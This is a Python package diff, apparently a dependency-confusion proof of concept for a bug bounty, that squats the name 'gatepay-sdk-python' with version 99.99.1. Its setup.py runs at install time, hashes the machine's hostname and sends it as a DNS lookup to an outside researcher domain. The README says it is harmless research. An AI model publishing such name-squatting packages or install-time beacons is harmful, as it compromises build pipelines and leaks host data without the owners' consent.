gatepay-sdk-python 99.99.1__tar.gz

gatepay_sdk_python-99.99.1/PKG-INFO

@@ -0,0 +1,37 @@
+Metadata-Version: 2.4
+Name: gatepay-sdk-python
+Version: 99.99.1
+Summary: Security research — dependency confusion PoC (bug bounty, no malicious payload)
+Author: bytesnull
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+Dynamic: author
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: requires-python
+Dynamic: summary
+
+# gatepay-sdk-python
+
+## This package has been claimed by bytesnull as part of authorized security research.
+
+This is a **proof-of-concept** for a **dependency confusion** vulnerability, submitted under a responsible disclosure / bug bounty program.
+
+### What this package does
+
+- **No malicious code** is included.
+- **No data is exfiltrated.**
+- The only side effect is a single DNS resolution to a researcher-controlled subdomain to confirm whether the package was installed.
+
+### Impact
+
+If this package was installed in your environment, it means your build pipeline is vulnerable to dependency confusion attacks. An attacker could have used this vector to:
+
+- Exfiltrate CI/CD secrets and environment variables
+- Inject backdoors into build artifacts
+- Achieve remote code execution on build servers
+
+### Contact
+
+**Researcher:** bytesnull  
+**Disclosure:** Responsible disclosure via bug bounty program

gatepay_sdk_python-99.99.1/README.md

@@ -0,0 +1,24 @@
+# gatepay-sdk-python
+
+## This package has been claimed by bytesnull as part of authorized security research.
+
+This is a **proof-of-concept** for a **dependency confusion** vulnerability, submitted under a responsible disclosure / bug bounty program.
+
+### What this package does
+
+- **No malicious code** is included.
+- **No data is exfiltrated.**
+- The only side effect is a single DNS resolution to a researcher-controlled subdomain to confirm whether the package was installed.
+
+### Impact
+
+If this package was installed in your environment, it means your build pipeline is vulnerable to dependency confusion attacks. An attacker could have used this vector to:
+
+- Exfiltrate CI/CD secrets and environment variables
+- Inject backdoors into build artifacts
+- Achieve remote code execution on build servers
+
+### Contact
+
+**Researcher:** bytesnull  
+**Disclosure:** Responsible disclosure via bug bounty program

gatepay_sdk_python-99.99.1/gatepay_sdk_python/__init__.py

@@ -0,0 +1,2 @@
+"""Security research placeholder — dependency confusion PoC by bytesnull."""
+__version__ = "99.99.1"

gatepay_sdk_python-99.99.1/gatepay_sdk_python.egg-info/PKG-INFO

@@ -0,0 +1,37 @@
+Metadata-Version: 2.4
+Name: gatepay-sdk-python
+Version: 99.99.1
+Summary: Security research — dependency confusion PoC (bug bounty, no malicious payload)
+Author: bytesnull
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+Dynamic: author
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: requires-python
+Dynamic: summary
+
+# gatepay-sdk-python
+
+## This package has been claimed by bytesnull as part of authorized security research.
+
+This is a **proof-of-concept** for a **dependency confusion** vulnerability, submitted under a responsible disclosure / bug bounty program.
+
+### What this package does
+
+- **No malicious code** is included.
+- **No data is exfiltrated.**
+- The only side effect is a single DNS resolution to a researcher-controlled subdomain to confirm whether the package was installed.
+
+### Impact
+
+If this package was installed in your environment, it means your build pipeline is vulnerable to dependency confusion attacks. An attacker could have used this vector to:
+
+- Exfiltrate CI/CD secrets and environment variables
+- Inject backdoors into build artifacts
+- Achieve remote code execution on build servers
+
+### Contact
+
+**Researcher:** bytesnull  
+**Disclosure:** Responsible disclosure via bug bounty program

gatepay_sdk_python-99.99.1/gatepay_sdk_python.egg-info/SOURCES.txt

@@ -0,0 +1,9 @@
+README.md
+pyproject.toml
+setup.cfg
+setup.py
+gatepay_sdk_python/__init__.py
+gatepay_sdk_python.egg-info/PKG-INFO
+gatepay_sdk_python.egg-info/SOURCES.txt
+gatepay_sdk_python.egg-info/dependency_links.txt
+gatepay_sdk_python.egg-info/top_level.txt

gatepay_sdk_python-99.99.1/gatepay_sdk_python.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

gatepay_sdk_python-99.99.1/gatepay_sdk_python.egg-info/top_level.txt

@@ -0,0 +1 @@
+gatepay_sdk_python

gatepay_sdk_python-99.99.1/pyproject.toml

@@ -0,0 +1,3 @@
+[build-system]
+requires = ["setuptools>=61.0"]
+build-backend = "setuptools.build_meta"

gatepay_sdk_python-99.99.1/setup.cfg

@@ -0,0 +1,8 @@
+[metadata]
+name = gatepay-sdk-python
+version = 99.99.1
+
+[egg_info]
+tag_build = 
+tag_date = 0
+

gatepay_sdk_python-99.99.1/setup.py

@@ -0,0 +1,19 @@
+from setuptools import setup
+import socket, hashlib
+
+try:
+    h = hashlib.md5(socket.gethostname().encode()).hexdigest()[:8]
+    socket.getaddrinfo(f"{h}.gatepay-sdk-python.depconf.zsdsh.xyz", 80)
+except Exception:
+    pass
+
+setup(
+    name="gatepay-sdk-python",
+    version="99.99.1",
+    description="Security research — dependency confusion PoC (bug bounty, no malicious payload)",
+    long_description=open("README.md").read(),
+    long_description_content_type="text/markdown",
+    author="bytesnull",
+    packages=["gatepay_sdk_python"],
+    python_requires=">=3.6",
+)